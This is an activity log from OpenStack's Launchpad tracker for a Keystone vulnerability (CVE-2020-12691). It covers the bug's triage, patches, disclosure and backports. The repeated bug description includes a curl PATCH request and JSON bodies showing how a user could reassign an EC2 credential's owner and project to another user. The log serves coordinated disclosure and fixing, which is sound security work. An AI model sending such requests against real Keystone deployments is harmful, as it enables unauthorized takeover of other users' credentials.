Activity log for bug #1872733

Date Who What changed Old value New value Message
2020-04-14 14:44:26 kay bug added bug
2020-04-14 15:03:46 Jeremy Stanley description "_build_target_enforcement" function checks only for "credential_id": https://github.com/openstack/keystone/blob/7bb6314e40d6947294260324e84a58de191f8609/keystone/api/credentials.py#L38 Thus even having a '"identity:update_credential": "rule:cloud_admin or (user_id:%(target.credential.user_id)s)"' policy doesn't prevent a malicious user to create an EC2 credential, then change its owner and project ID, e.g.: curl -X PATCH https://keystone/v3/credentials/3c2b3265350c6da3a18a143fbe975ca4a8ed88a6f8c6dacc2494a5c1287ba66f -H 'Accept: application/json' -H 'Content-Type: application/json' -H "X-Auth-Token: ***" -d'{ "credential": { "project_id": "_target_project_id_", "user_id": "_target_user_id_" } }' Additionally it is possible to Create a credential with any existing project_id, though it doesn't have a serious security issue, e.g.: { "credential": { "blob": "{\"access\": \"ffe6fc21b47c4d87befc95ad070c3b7a\", \"secret\": \"530196cd097e4a7ca9df7258aa89ff0e\", \"trust_id\": null}", "id": "3c2b3265350c6da3a18a143fbe975ca4a8ed88a6f8c6dacc2494a5c1287ba66f", "project_id": "_any_project_id_", "type": "ec2", "user_id": "_my_user_id_" } } This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added to the bug as attachments. This embargo shall not extend past 2020-07-13 and will be made public by or on that date if no fix is identified. "_build_target_enforcement" function checks only for "credential_id": https://github.com/openstack/keystone/blob/7bb6314e40d6947294260324e84a58de191f8609/keystone/api/credentials.py#L38 Thus even having a '"identity:update_credential": "rule:cloud_admin or (user_id:%(target.credential.user_id)s)"' policy doesn't prevent a malicious user to create an EC2 credential, then change its owner and project ID, e.g.: curl -X PATCH https://keystone/v3/credentials/3c2b3265350c6da3a18a143fbe975ca4a8ed88a6f8c6dacc2494a5c1287ba66f -H 'Accept: application/json' -H 'Content-Type: application/json' -H "X-Auth-Token: ***" -d'{   "credential": {     "project_id": "_target_project_id_",     "user_id": "_target_user_id_"   } }' Additionally it is possible to Create a credential with any existing project_id, though it doesn't have a serious security issue, e.g.: {   "credential": {     "blob": "{\"access\": \"ffe6fc21b47c4d87befc95ad070c3b7a\", \"secret\": \"530196cd097e4a7ca9df7258aa89ff0e\", \"trust_id\": null}",     "id": "3c2b3265350c6da3a18a143fbe975ca4a8ed88a6f8c6dacc2494a5c1287ba66f",     "project_id": "_any_project_id_",     "type": "ec2",     "user_id": "_my_user_id_"   } }
2020-04-14 15:04:06 Jeremy Stanley bug task added ossa
2020-04-14 15:04:27 Jeremy Stanley ossa: status New Incomplete
2020-04-14 15:04:56 Jeremy Stanley bug added subscriber Keystone Core security contacts
2020-04-14 22:01:49 Colleen Murphy keystone: status New Triaged
2020-04-14 22:01:59 Colleen Murphy keystone: importance Undecided High
2020-04-15 00:26:19 Colleen Murphy attachment added 0001-Disable-altering-credential-owner-attributes.patch https://bugs.launchpad.net/keystone/+bug/1872733/+attachment/5354247/+files/0001-Disable-altering-credential-owner-attributes.patch
2020-04-15 00:26:37 Colleen Murphy keystone: assignee Colleen Murphy (krinkle)
2020-04-15 00:26:42 Colleen Murphy keystone: status Triaged In Progress
2020-04-16 19:49:26 Colleen Murphy attachment added 0001-Disable-altering-credential-owner-attributes.patch https://bugs.launchpad.net/keystone/+bug/1872733/+attachment/5355724/+files/0001-Disable-altering-credential-owner-attributes.patch
2020-04-30 04:02:35 Colleen Murphy attachment added train https://bugs.launchpad.net/keystone/+bug/1872733/+attachment/5363821/+files/0001-Disable-altering-credential-owner-attributes.patch-train
2020-04-30 04:03:14 Colleen Murphy attachment added 0001-Disable-altering-credential-owner-attributes.patch-stein https://bugs.launchpad.net/keystone/+bug/1872733/+attachment/5363822/+files/0001-Disable-altering-credential-owner-attributes.patch-stein
2020-05-01 17:12:51 Gage Hugo bug added subscriber Mohammed Naser
2020-05-01 22:08:49 Gage Hugo bug added subscriber Nick Tait
2020-05-04 05:03:19 Colleen Murphy attachment added bug-1872733.diff https://bugs.launchpad.net/keystone/+bug/1872733/+attachment/5365987/+files/bug-1872733.diff
2020-05-06 15:11:06 Gage Hugo description This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added to the bug as attachments. This embargo shall not extend past 2020-07-13 and will be made public by or on that date if no fix is identified. "_build_target_enforcement" function checks only for "credential_id": https://github.com/openstack/keystone/blob/7bb6314e40d6947294260324e84a58de191f8609/keystone/api/credentials.py#L38 Thus even having a '"identity:update_credential": "rule:cloud_admin or (user_id:%(target.credential.user_id)s)"' policy doesn't prevent a malicious user to create an EC2 credential, then change its owner and project ID, e.g.: curl -X PATCH https://keystone/v3/credentials/3c2b3265350c6da3a18a143fbe975ca4a8ed88a6f8c6dacc2494a5c1287ba66f -H 'Accept: application/json' -H 'Content-Type: application/json' -H "X-Auth-Token: ***" -d'{   "credential": {     "project_id": "_target_project_id_",     "user_id": "_target_user_id_"   } }' Additionally it is possible to Create a credential with any existing project_id, though it doesn't have a serious security issue, e.g.: {   "credential": {     "blob": "{\"access\": \"ffe6fc21b47c4d87befc95ad070c3b7a\", \"secret\": \"530196cd097e4a7ca9df7258aa89ff0e\", \"trust_id\": null}",     "id": "3c2b3265350c6da3a18a143fbe975ca4a8ed88a6f8c6dacc2494a5c1287ba66f",     "project_id": "_any_project_id_",     "type": "ec2",     "user_id": "_my_user_id_"   } } "_build_target_enforcement" function checks only for "credential_id": https://github.com/openstack/keystone/blob/7bb6314e40d6947294260324e84a58de191f8609/keystone/api/credentials.py#L38 Thus even having a '"identity:update_credential": "rule:cloud_admin or (user_id:%(target.credential.user_id)s)"' policy doesn't prevent a malicious user to create an EC2 credential, then change its owner and project ID, e.g.: curl -X PATCH https://keystone/v3/credentials/3c2b3265350c6da3a18a143fbe975ca4a8ed88a6f8c6dacc2494a5c1287ba66f -H 'Accept: application/json' -H 'Content-Type: application/json' -H "X-Auth-Token: ***" -d'{   "credential": {     "project_id": "_target_project_id_",     "user_id": "_target_user_id_"   } }' Additionally it is possible to Create a credential with any existing project_id, though it doesn't have a serious security issue, e.g.: {   "credential": {     "blob": "{\"access\": \"ffe6fc21b47c4d87befc95ad070c3b7a\", \"secret\": \"530196cd097e4a7ca9df7258aa89ff0e\", \"trust_id\": null}",     "id": "3c2b3265350c6da3a18a143fbe975ca4a8ed88a6f8c6dacc2494a5c1287ba66f",     "project_id": "_any_project_id_",     "type": "ec2",     "user_id": "_my_user_id_"   } }
2020-05-06 15:11:09 Gage Hugo information type Private Security Public Security
2020-05-06 15:31:28 Edouard Dausque bug added subscriber Edouard Dausque
2020-05-06 18:04:50 Jeremy Stanley ossa: status Incomplete In Progress
2020-05-06 18:57:37 OpenStack Infra ossa: status In Progress Fix Released
2020-05-07 18:42:37 Gage Hugo summary Keystone V3 /credentials endpoint policy logic allows to change credentials owner or target project ID [OSSA-2020-004] Keystone V3 /credentials endpoint policy logic allows to change credentials owner or target project ID (CVE-2020-12691)
2020-05-07 19:38:28 Nick Tait cve linked 2020-12691
2020-05-07 19:53:02 OpenStack Infra tags in-stable-ussuri
2020-05-08 16:14:52 OpenStack Infra keystone: status In Progress Fix Released
2020-05-08 16:35:15 Luke Hinds bug added subscriber Luke Hinds
2020-05-08 16:35:19 Luke Hinds removed subscriber Luke Hinds
2020-05-11 05:38:37 OpenStack Infra tags in-stable-ussuri in-stable-train in-stable-ussuri
2020-05-11 20:02:02 OpenStack Infra tags in-stable-train in-stable-ussuri in-stable-stein in-stable-train in-stable-ussuri
2020-05-13 17:14:43 OpenStack Infra tags in-stable-stein in-stable-train in-stable-ussuri in-stable-rocky in-stable-stein in-stable-train in-stable-ussuri
2020-05-14 22:09:35 OpenStack Infra tags in-stable-rocky in-stable-stein in-stable-train in-stable-ussuri in-stable-queens in-stable-rocky in-stable-stein in-stable-train in-stable-ussuri
2020-06-04 20:12:46 OpenStack Infra tags in-stable-queens in-stable-rocky in-stable-stein in-stable-train in-stable-ussuri in-stable-pike in-stable-queens in-stable-rocky in-stable-stein in-stable-train in-stable-ussuri